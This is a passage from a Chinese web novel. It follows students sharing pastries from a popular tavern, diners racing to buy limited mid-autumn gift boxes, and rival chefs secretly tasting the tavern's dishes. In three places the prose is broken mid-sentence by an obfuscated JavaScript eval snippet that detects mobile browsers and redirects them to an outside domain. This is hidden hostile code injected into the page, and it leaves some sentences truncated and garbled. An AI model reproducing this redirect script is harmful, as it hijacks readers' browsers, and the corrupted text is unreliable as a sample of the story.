“你这两份......”孔康亮见李博鸿桌子上还有一份完整的，以及一份吃了一半的糕点，顿时口水津津。 “这半份是我的，这一份嘛......”李博鸿腼腆地笑着，挠挠头。 “懂了，给你女朋友丰故柔的。”闻之璟恍然大悟，意味深长地笑了。 “哦~”几个人拖长了声音起哄。 “我们三个分一盒，你女朋友自己一盒，好重色轻友哦~”黄俊泽摇头晃脑地调侃。 “哎呀这......等明天我问问老板有没有多的，如果有，帮你们代购几盒。”李博鸿满脸通红，提着两盒糕点遛了。 “一言为定啊！”三个室友朝着他的背影喊完，开始哄抢刚才他们的那盒仅剩的糕点。 - “这么晚了，你男朋友叫你下楼什么事啊？” 丰故柔穿着兔子睡衣，提着糕点上楼时，几个室友都用八卦的眼神看着她。 “没什么事，说是快中秋了，给我盒点心。”丰故柔打开盒子，满满当当的糕点露了出来，“我不爱吃甜的，你们分了吧。” “我去，这不会是江家小酒馆的点心吧？”安琦正在卸妆，从小镜子里瞧了一眼，惊讶地凑过来。 “好像是的，你们看，跟图上的一模一样。”章悦和拿起手机，看了眼言亦轩动态里的礼盒样式，又看了眼丰故柔手里托着的包装盒，一模一样。 “啊，这个江家小酒馆很有名吗？”丰故柔愣住了，李博鸿告诉过她几次，江家小酒馆的饭菜很好吃，不过她最近在忙着给教授打下手，没时间去校外吃饭。 “也是最近才有名起来的，前段时间还上过小破站热搜呢！”钟茜棠瞧着形状、香味各异的糕点，顿时觉得晚饭白吃了，此刻又腹内空空，“这糕点是限量的，估计到时候都抢不到，你竟然提前拿到了！” “有个贴心的男朋友真好啊。”丰故柔满脸甜蜜的笑容。 剩下三个母单室友，捏着嗓子学她讲话：“哟哟哟，有个贴心的男朋友真好啊~” “你们真是的！”丰故柔嗔笑着打她们。 “对了，这上面写着每种只有三个，我们四个怎么分啊？”章悦和又看了眼言亦轩发的动态。 “柔柔不是说她不吃甜的吗？干脆我们三个分了？”安琦用询问的眼神看着丰故柔。 “那什么，我突然改变主意了。”丰故柔闻着糕点甜甜的香味，看着糕点上精致的纹理，可是舍不得一口都不吃，收回了手，“我也想吃。” 37. 龙井茶糕 三个室友立刻流泪猫猫头表情：“快说你不爱吃甜的，你快说啊！” “不要着急，这不是每种四个吗？正好一人一个。”丰故柔从侧面看了一下，每种四个糕点整整齐齐。 “诶，这上面写每种三个，一共十五个......”章悦和又看了眼动态，满脸疑惑。 “哼哼~”丰故柔已经明白了原因。 钟茜棠打了个响指：“哦~我懂了，她男朋友给这盒每种加了一个，供我们四个人分，也太贴心了。” 安琦和章悦和这才反应过来：“这可太好了！” “来吧，咱们开吃。”丰故柔将糕点放在宿舍中间的凳子上，三个室友等她拿了第一块才伸手。 “这个真好看。”丰故柔率先拿起花想容糕。 小小的淡粉色玫瑰花形糕点，放在她白皙的手心，很是好看，她从兜里摸出手机，拍了个照才舍得吃。 嘴唇轻抿，绵软的外层就被剥落下一部分，落在口中。 白芸豆泥细腻而充满豆香，再咬一口，内馅的玫瑰花酱缓缓渗透到舌头上，玫瑰花的香气环绕口腔，蜂蜜从舌尖甜到心上。 丰故柔很惊喜地看了一眼玫瑰花馅，浓稠糖浆包裹的酒红色很是美艳：“我第一次觉得甜食也不错欸。” “不止有甜食，还有咸月饼呢。”安琦将月饼咬得咔滋脆，连连抿着嘴唇，让那碎屑也收入口中。 本来尝出来是咸味，安琦很惊讶，但肉馅香而不腻，和榨菜丝完美搭配。 不仅没有咸味月饼的突兀，还和微甜的外层酥皮，融合成了可口的味道。 “其他看起来都有夹心，这个是不是也有？”章悦和捏住龙井茶糕，掰成两半。 白白的糯米皮撕开，里面浅绿色的豆泥呈现出来，很有春天的清新感。 “做这些糕点的人，真是有巧手，也有巧思。”章悦和凑近一闻，清润的糯米香，醇厚的牛奶香，清新的龙井茶香，混在一起，甜得很有层次感。 咬上一口，糯米皮软乎乎的，奶香味道简直要溢出来，浅绿的豆泥在舌尖绵软推开，茶的香与微苦，让这甜味带了几分克制。 章悦和慢慢嚼着，细细品味：“怪不得这江家小酒馆这么火，这糕点甜而不腻，口感层次丰富，又很自然，感觉比芙蓉楼的糕点还要好吃！” “超喜欢枣子做的东西。”钟茜棠捏了捏枣泥山药糕，那糕点微微有点弹性。 一口塞在嘴里，枣香浓郁，甜味沁人心脾，山药泥有点涩涩的口感，仍旧绵软。 “真好吃啊，可惜一种只有一个。”钟茜棠又拿起莲蓉月饼。 “我也觉得，一种一个还是不够吃。”丰故柔也捏了个莲蓉月饼。 蛋黄烤过的甜香很是浓郁，原本只想咬上一小口，但被这香味勾着，不自觉就咬得更大口了些。 外层软中带韧，咬开来，带着油的香和糖浆的甜。 莲蓉细细嫩嫩，咸蛋黄质感如沙，绵密流油，咸与甜融合在一起，入口即化，吃得人欲罢不能。 “嗯！”丰故柔指了指莲蓉月饼。 “嗯！”钟茜棠和她对视，心领神会地也一指莲蓉月饼。 “你俩对什么暗号呢？”安琦和章悦来回看着她们。 “快吃莲蓉月饼！从来没尝过这么好吃的莲蓉月饼。”钟茜棠满脸幸福地微笑。 “月饼也能大口吃吗？你们都不管热量了？”安琦震惊了，咬了一小口，瞬间明白了原因。 章悦和也吃了一大口，月饼上的花纹咬缺了一块也好看：“这味道还真是清新自然。” “是啊，我听男朋友说，这是老板用古法手作的，很不一般。”丰故柔尝一口，闻一闻，从来没有像现在这样那么喜欢过甜食。 “诶，你对象能不能帮我们黑幕抢一下，我也想要一盒糕点。”安琦每个都尝过，竟然选不出来最喜欢的，因为都喜欢。 “我也想要！”钟茜棠连忙举手。 “我就不一样了，我想要两盒，一盒自己吃，一盒给家里，嘿嘿。”章悦和吐了吐舌头。 “行啊，我去问问他。”丰故柔应下来，“不过先说好，这家店这么火，不一定有多的给我们。” “没关系，你先问问，就算买不到糕点，咱们也可以约去这家店吃饭嘛。”章悦和搜索了一下江家小酒馆的地址，“喏，也不远。” “有道理，这个甜品都能做这么好吃，不知道做菜得好吃成什么样子。”安琦原本吃点心吃得有点饱了，现在脑补了一下店内的珍馐美味，又饿了。 “行啊，等我在教授那边忙完，正好中秋节，我们一起去店里吃饭？”丰故柔查了查日期。 “没问题！”三个室友都雀跃起来。 - 言亦轩发了江家小酒馆中秋活动的动态后，江云枫的手机提醒音就没停过。 每次响起，江云枫都会看到【江家小酒馆食客群】又被拉进了新人，新人在跟大家问好，都是老客带新客。 “才一天，就多了这么多人啊。”第二天上午开工前，言亦轩翻看手机，感慨道。 江家小酒馆食客群此前不到300人，现在已经有500人，要不是到了群人数上限，恐怕还要增加不少。 “毕竟今天中午一点，就要开始第一次礼盒开抢了。”江云枫看了眼厨房小桌，码放得整整齐齐的糕点礼盒小山，赏心悦目。 她又看看万磊刚送过来的成堆食材：“今天怕是有场硬仗要打。” “我先把春饼烙上，要是今天点春饼的人多，可以省下不少时间。”言亦轩洗了手，用厨房纸巾将手反复擦干，烧了一锅滚水。 做春饼用插电的小锅就可以，不占灶台，而且每种菜炒一大盆，能配很多份菜，出菜效率很高。 “行啊，希望这样能让点春饼的人多些。”江云枫将黑板上的菜单擦了重写，前面的菜写得字体稍小，“春饼卷炒菜”比周围大了一圈。 “这主意不错。”平时没什么表情的言亦轩，看到这分明的大小对比，也禁不住笑了，“就冲这字大，好多人也得尝尝是什么味道。” 言亦轩边调侃，边将面粉倒进不锈钢盆。 盆中的面粉，被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946345|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚水淋过，变成丝丝缕缕的面絮，用筷子搅拌到没有多余水分，言亦轩开始用手和面。 即使那些恼人的面絮左粘右粘，言亦轩依然很有耐心地把它们捋下来，揉在一起。 这也是为什么江云枫会第一个收言亦轩为徒，很多菜需要耐心去做得精细，或是一遍遍苦练才能得到少许提高。 但是不管做什么，言亦轩都能不骄不躁，耐心干好。 经过反复的揉搓，碎碎的面絮，变成完整光滑的面团，被言亦轩刷上油，盖上保鲜膜，放在一旁醒发。 他又拿出另一盆已经醒发好的面，刷油后擀得薄薄的。 在热腾腾的锅上，薄薄的面片逐渐受热鼓起，变成宣纸一般的半透明。 江云枫则在一旁准备要炒的菜。 细细的猪肉丝裹上蛋清后格外清亮，与酱油和甜面酱同炒，灰色的肉染上深棕，挂酱流油地盛到细如绣线的葱丝上，京酱肉丝出锅。 热油爆炒过的鸡蛋碎，加入青绿的韭菜、嫩嫩的豆芽、煮熟的红薯粉，同炒成一道炒和菜，每种食材表面都裹上油光。 飞刀切成细丝的淡黄色土豆，混了糖醋汁，同小米辣椒圈，炒出酸甜又微辣的土豆丝，闻上一口，鼻尖痒痒。 嫩牛肉裹了淀粉液，同芹菜一起爆炒，出锅前再加孜然，炒制的牛肉香气扑面而来，芹菜加上几分清爽，热度烘烤过的孜然，让这牛肉有股烧烤香。 切成长条的豆角和茄子，伴着调制好的深棕色料汁同炒，加了勾芡后，酱汁浓厚，出锅时每一根食材都被浓稠的酱汁包裹。 烙得雪白光滑的春饼，个个薄得能透光，却并不容易破碎，数张叠在一起，整齐码放在大盘中央。 围着一摞春饼的，是用小盘子装得满满的五盘炒菜。 五颜六色的菜品包裹着雪白的春饼，看得人目不暇接，也让人食欲盎然。 春饼里卷的菜还没完全炒好，店内就陆续来了客人，李博鸿和林若雪也都就位，店内开始了一天的忙碌。 - “终于拆线了！我的天呐，我都要饿死了！”赵苹从医院拆了拔智齿的缝线，立马打了个车，“师傅，去江家小酒馆！” 自从上次看医生护士吃得那么香，知道有江家小酒馆这么个地方，又看到了桑瑶做的江家小酒馆助眠吃播，赵苹就忍不住天天想着这里有什么好吃的。 她也关注了言亦轩，看到言亦轩发的动态，中午一点会在线上发抢购小程序链接，可以抢中秋节限量礼盒。 她想着先到店吃饭，到点了试着能不能抢到礼盒，能抢到就直接拿着礼盒走了。 出租车在江家小酒馆附近路口停下，赵苹一路狂奔，到江家小酒馆门口，发现已经排满了人。 吃了一个多星期的鸡蛋羹，赵苹饿得脸都瘦了，改善伙食的心格外迫切，心急如焚地跟在后面排队。 好在时间才刚过十二点，排了四十分钟的队，终于到她进店。 刚落座，赵苹的目光顺着黑板上的菜单一行行浏览，第一个吸引她眼球的，就是那写得大大的“春饼卷炒菜”了。 38. 春饼卷炒菜 “这个春饼卷炒菜，卷的都有什么菜啊？”赵苹叫来林若雪。 “炒菜有京酱肉丝、炒合菜、酸辣土豆丝、孜然芹菜牛肉、豆角茄子，都是小份的，可以选五种不同的，或者五种一样的也行。”林若雪耐心说明，“春饼有十二张，不够还可以另点。” “那就要一份这个，五种不一样的菜。”一听到一次性可以尝这么多种类的菜，赵苹心里乐开了花，“再要个避风塘炒虾，馋这个老久了，喝的要小吊梨汤吧。” “好的。”林若雪飞快记录，又把言亦轩的动态拿给她看，“对了小姐姐，今天中午一点有礼盒抢购活动，不要忘记参与一下哦~” “我知道这个活动，定了闹钟，不会忘记的。”赵苹拿出手机，12：55、12：58分别设置了两个闹钟。 “我还带了装备来。”赵苹从挎包里“腾”地一声拿出筋膜枪，“今天说什么也要抢到！” 林若雪“哧”地笑喷了：“第一次见准备这么充分的客人，那就祝你欧皇附体！” “会的会的。”赵苹拿着筋膜枪摇晃了两下。 周围人看到她手里的装备，惊讶了一秒，纷纷后悔不迭。 “我怎么忘了筋膜枪了！筋膜枪点可比手动点速度快多了！” “还是新脑子聪明，不愧是年轻人。” “幸好咱家离得近。老婆，你先在这里吃着，我回去拿筋膜枪。” 赵苹有些得意地把筋膜枪塞进包里，心想着今天应该稳了，毕竟好几场演唱会门票都是靠这个装备抢的。 本以为炒菜种类众多，上菜会很慢，没想到林若雪进厨房不久，就端着一个大盘子走到了她这桌。 不仅大盘子放在了桌上，还有一条干净的热毛巾，也放在了赵苹手边。 “请慢用。” 赵苹一向爱把“谢谢”挂嘴边，可那香味扑面袭来，让她连这句话都忘说了。 中间稍大的圆盘，盛了一摞春饼，光滑得像少女吹弹可破的肌肤，雪白雪白的，每张大小都差不多，看着很舒适。 面饼香气混合着湿漉漉的热气，闻着让人心神安宁。 圆盘周围是五个小盘子，分别装了五种炒菜，都在冒着白色的香气。 味道比较突出的是孜然牛肉，牛肉上撒了细细的孜然粉，同青绿的芹菜混在一起，很是喷香。 京酱肉丝细细长长的肉条，蜿蜒着堆叠在一起，堆成小山状，裹了酱汁和甜面酱，微微发亮，底下还铺了细细的葱丝和整整齐齐的黄瓜条。 酸辣土豆丝闻上去就开胃，豆角茄子被浓稠的酱汁黏在一起，炒合菜每种菜上都挂了油汁。 “嘶——哈——”赵苹深吸了一口气，“今天真是点到位了，都是我爱吃的！” 拔完智齿后的这些天，赵苹除了鸡蛋羹什么也吃不了，此刻胃在发出渴望食物的嘶吼，口水更是多到咽一下还继续流的程度。 “开吃开吃！”赵苹拿热毛巾擦了手，捏起顶上的一层春饼，轻轻一扯，一层饼脱离开黏住的另一层，温热地落在她掌心。 “先吃这个我最爱的京酱肉丝吧。”赵苹往嘴里塞了一筷子京酱肉丝，才开始把肉丝卷进春饼中。 细细嫩嫩的肉丝入口，酱香浓厚的咸，同甜面酱浓稠的甜蜜，将这肉香激发出来。 那肉已经煸炒出油脂，精瘦细嫩，放在后槽牙嚼，紧实又浓香。 “嗯，不错不错。”好久没尝到荤腥的味蕾，此刻被激发了全部的感官，更是让赵苹口水津津。 京酱肉丝放在雪白的饼子中间，堆成一堆，坍塌下来，棕色的酱蹭在了饼子上。 一撮葱丝散落在肉丝上，细细的黄瓜段也加上，上下左右将饼皮包成四方块，赵苹张大嘴，一口就咬下大半个春饼。 饼皮虽然薄，却将食材鼓鼓地包在一起而不破，咬上一口，饼皮才破裂。 软软的春饼，拉扯一下才咬开，面带着些柔韧，葱丝脆脆地碎裂，黄瓜溢出清甜的汁水。 而那一大簇的京酱肉丝，受到挤压后，溢出浓香的肉汁，肉丝伴随着葱的刺激感和黄瓜的清爽入口，多汁又美味。 “好香啊，好香......”赵苹不断咀嚼着，又把剩下小半个春饼推进嘴里，“之前的一个多星期，我过得都是什么苦日子啊！” 一个京酱肉丝卷饼下肚，赵苹被噎到，连连捶着胸口。 幸好小吊梨汤及时上桌，小铜壶刚放在桌子上，就被赵苹提起来，倒了一满碗的汤。 “呼呼”吹凉，赵苹贴着碗边，喝了一口汤汁。 清润微甜的汤汁，还带着几分浓稠的质感，入口之后，梨香与枣香遍布口腔，莹润的汤汁消除了喉咙的梗塞。 两口汤喝下，赵苹感觉到不噎了。 “每天要是能吃上这么一顿，真不敢想有多幸福。”赵苹右手搅拌着汤汁，红枣碎、银耳和梨块浮浮沉沉，她左手又捻起一张春饼。 这次筷子的目标是孜然牛肉芹菜和豆角茄子。 牛肉大块，带着少许孜然粉，芹菜有些软糯，而那豆角茄子连汤带水地被勺子盛到饼上，手中顿时沉甸了许多。 及时半透明的春饼，能看到茄子汁在流动，那汤汁仍旧没有洇到手上。 这一口，汤汁莹润唇舌，赵苹还啜了啜，才没让汤汁流下来。 豆角微软，茄子完全软糯，由于汤汁是用肉汁勾芡成的，浓稠鲜香。 另一边的牛肉则是紧实而略带烧烤风味，芹菜清清爽爽，让这一口荤素搭配，不会腻味。 “诶，真爽。”赵苹又将剩下的春饼吃完，手上已经抿上了饼皮的少许油，她擦了擦手，舒服地叹了口气。 “叮铃铃~铃铃铃~”的雷达音突然响起，赵苹睁大半眯着的眼睛，掏出手机把闹钟关掉。 “12：55了！我再吃几口！”赵苹登时感觉热血起来，急促地用筷子捻开一张饼。 这次夹的是香辣土豆丝。 饼皮软乎乎的，韧韧的很好嚼，土豆丝则是爽爽脆脆，多汁出水，辣味、酸味、甜味达到了一个和谐的平衡，每嚼一下，都勾得人更想去咀嚼。 “叮铃铃铃~铃铃铃~”雷达音再次响起。 “12：58了！”赵苹“啪”地一声放下筷子，用纸擦了擦手，端起手机，进入言亦轩发的小程序页面，激动得浑身汗毛直竖，身上的血都热起来了。 与此同时，店内几乎所有客人都放下筷子，紧张地等待着限量购买开抢，整个店内都安静下来了。 “糟了，怎么进不去！”赵苹已经把筋膜枪放在腿上备用，画面却显示崩了。 好在几秒后，赵苹成功进入，只等着购买按钮变亮的时刻。 “看得我都紧张了。”江云枫抱着胳膊站在厨房门口，瞧着店内店外的食客都低头看着手机，等待着同一个时刻的到来，她心跳也跟着加快。 “人挺多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951595|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，我的页面都打不开了。”言亦轩随意地笑了一下，看着不断旋转的加载页面，放弃跟他们一同争抢，退出了美食账号。 “10、9、8、7......” 有人默数着，气氛更加焦灼。 “6、5、4......” 赵苹已经将筋膜枪“嗡嗡”启动，紧张到喉咙都有些干涩。 “3！2！1！” 最后的几秒钟，店内的食客们都疯狂点着购买按钮。 有的人左手握着手机，右手食指把屏幕敲得“哒哒哒哒”响；有的人左右开弓，左右手大拇指轮流敲击出残影。 赵苹则是用筋膜枪压着食指，手指在屏幕上疯狂点击。 “抢到吧，抢到吧......”赵苹激动得背后都出了层薄汗。 卡了30秒后，赵苹的手机上终于跳出“抢购成功”的页面，她点击跳转到支付页面，“叮”地一声成功付完款，才把那口气松下来。 “抢到了！”赵苹激动得呜呜叫。 “我也抢到了！哈哈哈哈哈！” “可恶啊，我连页面都没进去！” “不是，这比我爱豆的演唱会门票都难抢吗？” “啊啊啊啊啊，怎么手机闪退了！” 店内有人欢喜有人愁。 “家人们家人们，开抢了，咱们就看看你们段哥今天能不能抢到......抢到......给我抢到......”段轩龙顾不上看直播的手机，手上疯狂敲击着屏幕。 段轩龙现在是江家小酒馆的忠实粉丝，进店直播也比之前规矩了特别多，每次都在角落里避开路人的脸，讲话也很小声。 “啊？一分钟？售罄？”段轩龙傻眼了，皱起眉头。 购买页面上可以选“到店领取”或者“邮寄到家”，店内抢到的食客都雀跃地拿着校验码，找江云枫领礼盒。 段轩龙视线追随着领礼盒的食客，嘴上还在嘟嘟囔囔：“我一点都不羡慕，真的。” 食客们把包装精美的礼盒打开，里面满满登登的糕点，看着诱人。 段轩龙继续嘟嘟囔囔：“只不过是花纹精致的莲蓉蛋黄月饼、白茶花样子的龙井茶糕、脆脆掉渣的鲜肉月饼、玫瑰花样子的花想容糕、三层夹心的枣泥山药糕罢了，不羡慕，一点儿也不羡慕。” “大家都知道的，我不爱吃甜食。” “我一点儿也没破防！啊啊啊呜呜呜！”段轩龙在直播镜头面前，捂脸假哭起来，很有节目效果。 弹幕飞快滑动。 【哈哈哈哈哈哈段哥别伤心，虽然你没抢到礼盒，但我抢到了，这怎么能说不是一种守恒呢？】 【楼上夺笋呐！】 【没事的段哥，我也抢到了，吃的时候直播给你，记得来看我的直播，给我点点关注哦~】 【楼上的，倒反天罡！】 【卧槽，我定错闹钟，定成凌晨一点的了，没抢到！！】 【评论区已经乱成一锅粥了，大家趁热喝了吧！】 段轩龙假哭了一会儿，又抬起头假装抹眼泪：“没事的家人们，明天后天还能抢，今天的运气只是分给了明天罢了。明天，我一定夺回属于我的一切！” 说完，段轩龙用热毛巾擦了手，捻了一张热乎乎的春饼，筷子大开大合，夹起一大堆炒合菜，三两下，把春饼包裹得鼓鼓的，跟粽子似的。 “事已至此，先吃饭吧！” 39. 春饼卷炒菜（2） 段轩龙双手把住鼓鼓囊囊的春饼，塞进嘴里咬了一大口。 饼皮拉扯着撕破，豆芽率先脆脆地发出声响，而那软糯的红薯粉条，没有被咬断，扯了一节出来。 段轩龙撮着嘴一嗦，粉条左摇右摆着快速入口。 鸡蛋是直接打入锅中，在热油中炒成碎末的，口感是半炸半炒，吸的油汁更丰富，吃起来更喷香。 韭菜还有些脆脆的口感，豆芽每嚼一下都是“嚓嚓”的脆响，每根豆芽外都裹了层薄薄的油汁，嚼一嚼汁水也很丰厚。 其中的红薯粉条更是软糯。 这一口炒合菜，香、丰富、多汁，搭配上软乎乎的春饼同嚼，虽是素菜，却不输肉的荤香。 “呼——舒服了！”段轩龙咽下一口，朝着屏幕展示春饼里夹的菜。 红薯粉条随着他刚才的动作，微微颤动。 鸡蛋碎的焦黄，韭菜的墨绿、豆芽的白、红薯粉剔透的深棕，看得人心痒痒。 弹幕继续飞快滚动。 【一口半个春饼，我也喜欢这种食物塞满嘴的吃法。】 【这还只是个素菜，就把我看饿了，我瞧着那边还有肉丝呢，斯哈——能不能再来口肉丝！】 【刚从江家小酒馆出来，刚才想着不爱吃春饼，就没点这个，现在后悔了！等我晚上回去重新排队！】 【不敢想这么冷的天气里，来上这样一份热乎乎的春饼卷菜，得多幸福~】 【这白白的饼子，怎么能做到这么光滑的？看着就想咬一口。】 段轩龙一边看弹幕，一边咬着春饼，丰富的滋味在口中蔓延，香得他舌尖打颤。 “再吃点肉？好，我再卷一个饼。”段轩龙说着，又捏起一张春饼，两张饼之间微微粘连，但轻轻掸一下就分开了。 春饼提起来时，隐隐能看到背面，虽然薄，但每个都光滑而无瑕疵，很是诱人。 段轩龙左手掂了两下春饼，筷子来回，一大撮京酱肉丝落在饼上，葱丝和黄瓜条也被整齐地摆在肉丝上。 “咱们一次夹两个菜吧。”段轩龙等不及一样一样吃了，又夹了酸辣土豆丝，放在饼上。 春饼包好，被段轩龙迫不及待送入口中。 细细的肉丝，比大的肉块更能充分吸收调味品，红烧酱油浓郁的香味和咸味，甜面酱那带着沉淀感的甜，共同渗透到了肉块的每一寸。 酸辣土豆丝也很够味，初入口是开胃的醋味，和恰到好处综合了酸的甜，刚嚼上两口，灼热的辣意又慢慢显现。 舌头轻微的刺痛感，反而更加刺激人的食欲。 京酱肉丝的软，酸辣土豆丝的脆，春饼的柔软，混合在一起，吃得段轩龙幸福地闭上了眼。 【段哥又只吃饭，不说词了！】 弹幕继续哈哈哈吐槽。 “太幸福了家人们，这个肉丝是很嫩很入味的那种，主打味道是肉香很浓厚的咸味，加了一点甜之后，特别鲜。”段轩龙含糊地讲完，一口咽下，又赶紧再咬一口接替上。 “然后这个土豆丝呢，嘶——又酸又辣，虽然辣得舌头有点麻麻的，但真的欲罢不能！” 段轩龙的麦克风夹在领口，细微的声音，也收得很清楚，那土豆丝破碎的“库叉库叉”声，实在是勾人食欲。 【得了，江家小酒馆一登场，我中午饭又白吃了，等着，我现在就去店里点春饼卷菜！】 【这荤素搭配真是一绝！】 【天呐，那个春饼，咬断前还会拉扯一下，我也好想咬一口啊......】 弹幕飞速滑动，段轩龙只是瞟了两眼，又继续夹春饼。 这一次卷的是孜然芹菜牛肉和豆角茄子。 茄子已经变成一滩软趴趴的了，汁水非常丰厚，豆角软中带着些硬挺，菜香也很足。 牛肉喷香而入味，芹菜软中带脆，被牛肉烘上了一股肉香。 孜然颗粒在牙缝间破碎，面饼软软地越变越小，和所有菜融合。 “好的兄弟们，还是老样子，每道菜都特别好吃，完全不踩雷。”段轩龙边嚼边讲，开玩笑道，“不推荐大家来吃啊，因为只要吃一次，必定上瘾，吃不到就会馋得寝食难安。” 【我比较叛逆，不让我吃，我偏要来。】 【馋得寝食难安我信，那我就顿顿都吃这个，如何呢？】 段轩龙讲完之后，只顾着埋头猛吃了。 一张张春饼被拿起，筷子大开大合，盘中的菜越来越少。 饱满的春饼卷一口口下肚，段轩龙感觉像是给舌头做了个SPA，狠狠享受到了。 春饼一圈围着的装菜的盘子，一个个空掉，每吃空一盘，段轩龙都会用春饼把盘子上仅剩的汤汁也擦干净。 沾了汤汁的饼，或咸香，或酱香，或酸辣，单吃更能尝出面本身的香气来，越嚼越有味道。 吃完所有菜，段轩龙意犹未尽地又点了一份春饼卷炒菜，打包好，才扶着肚子长舒一口气：“今天唯一的遗憾是没有抢到糕点礼盒，不过没关系，我们明天再战！” 【燃起来了怎么回事！】 【明天再战！我明天也加入抢礼盒大军！】 - “抢到了！居然抢到了！”侯世明去找江云枫领糕点礼盒时，整个人还有点恍惚，提着颇有分量的糕点回到座位上，他脸上仍然挂着灿烂的笑。 虽然身为寻味园饭店的厨师，可自打上次在江家小酒馆，吃到松鼠鲑鱼和鱼香茄子，他已经在心里叛变成了江云枫和言亦轩的迷弟。 之前他每次调休时，都会偷偷跑来江家小酒馆吃一顿。 没想到的是，这次寻味园饭店的老板余彬，竟然主动要求他和另一个厨师项徳维一起去江家小酒馆，抢礼盒，顺便点些菜吃。 余老板这么安排，是因为最近江家小酒馆越来越火，各种网红、博主都在推荐这家店。 而且据合作过的达人描述，他们都是自来水，并不是收钱打广告，这让余老板心里很不舒服。 江家小酒馆的糕点礼盒，这几天更是在网上颇有热度，被网友们提及的次数，甚至超过了他们寻味楼的糕点礼盒。 余老板立刻决定派两个骨干厨师，来江家小酒馆抢糕点礼盒，再多点些菜，尝尝这家饭馆的菜到底好在哪儿。 于是侯世明和项徳维坐在了这里。 “至于这么高兴吗？”项徳维托着头，视线追随着他手里的糕点，“这种小店，饭菜能有多好吃？不过就是比我们店还会搞营销，才这么多人来。” “嘘！你小点声！”侯世明慌张地比了个噤声的手势，眉头皱起来，说话声音低成了气声，“忘了老板跟我们说的，不要暴露身份吗？” 侯世明紧张得不行，倒不是为了完成余老板的任务，而是怕被江云枫发现，之后都不让他进店吃饭了。 “好吧。”项徳维放低了声音。 两人刚点了菜，菜还没上桌，侯世明率先拆开了糕点礼盒。 “这么多食客排队，估计得等好一阵了，咱们先吃点糕点垫一垫肚子好了。”侯世明若无其事地捏起一块鲜肉月饼，动作很慢，但其实很想暴风吸入，一点儿也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这......这......”项徳维指着鲜肉月饼，简直要说不上话，他压低了声音，“我们店遇到劲敌了啊！” “是吧。”侯世明故作焦虑地沉思，心里却因为江家小酒馆被称赞乐开了花，嘴上还在不断嚼着美味的花想容糕。 接下来的两分钟，项徳维的食用速度好像开了倍速，跟猪八戒吃人参果似的，迅速把枣泥山药糕、花想容糕、龙井茶糕都尝了个遍。 不止如此，吃了一块还不够，他又捏起两个糕点，左右开弓，一替一口吃。 “你别把我那份抢了，我每种都要吃一个的。”侯世明掌心向下朝他挥手阻拦，“还有，你别吃糕点吃饱了啊，这菜都上桌了。” 项徳维从糕点诱人的香味中回过神，抬头才看到一桌子都是菜。 松鼠鲑鱼像是炸开的大号松果，每块支棱起来的肉都鼓鼓的，橙色的浇汁发亮；羊肉羹顶上堆满了大块的羊肉，热气成团往上冒。 雪白的春饼，摞成厚厚一沓，棕色的肉块、青色的葱丝、绿色的豆角、微黄的土豆丝、堆成小山的炒合菜，围了一圈，很是丰盛。 小铜壶散出梨子香气，蟹酿橙看得出蟹黄的油汁，松果肉和鹌鹑蛋散发出沁人心脾的红烧肉味...... “不是......怎么各个菜都这么香的？”项徳维被这花花菜品迷了眼，各种食物的香味，让他香迷糊了。 脑子还没反应过来，他的手已经拿起筷子，伸了出去。 40. 春饼卷炒菜（3） 羊肉羹上面块头很大的羊肉，有十足的吸引力，项徳维夹起一块，那羊肉上的几分肥肉，颤颤巍巍地晃动。 一口吃下，细细品嚼，肉块软嫩而不松散，肥肉部分的量恰到好处，滑嫩而肥美。 羊肉中的汁水也很足，咀嚼间连汤带水的，鲜美味道在舌头上跳跃。 “嚯，这也太鲜了！”项徳维砸吧着嘴，眯起眼睛，回味着舌头上逐渐消散的羊肉香味，“除膻的功夫很牛，几乎只有香味没有膻味，火候也掌控得厉害，做出来竟然这么嫩。” “是啊是啊。”侯世明附和着，他早就领悟到了这家店做菜的厉害，此刻只想尽情享用。 侯世明伸手，捏起一张春饼，拉扯着把两张粘连的撕开时，他感觉到了春饼的软韧。 春饼被左手托起，他能透过春饼看到自己五指的轮廓，可饼卷了足量的京酱肉丝和茄子豆角后，仍旧没有破。 卷春饼的过程中，侯世明一直按捺住自己的食欲，直到最后一折包好，迫不及待地往嘴里送。 京酱肉丝每一条都很入味，酱香中带着的清甜，又让这肉显得格外鲜嫩爽口。 茄香和豆角香气都很足，还连汤带水的，滋润了他刚吃过糕点有些干的嘴巴。 而那筋道的春饼，又将这味道提升了一个层次。 “哎，真好吃。”侯世明眯起眼睛，喟叹出声，“什么时候咱们店能做出来这么筋道的饼就好了。” 项徳维作为在寻味园干了快二十年的老厨师，听到这话心里还是有点不满的，毕竟对寻味园已经有了归属感。 “糕点好吃，羊肉好吃，我认了，毕竟哪个店都有几样拿手菜。但不能每道菜都那么好吃吧？”项徳维微微皱眉，拿起两张春饼，稍微错开叠在一起。 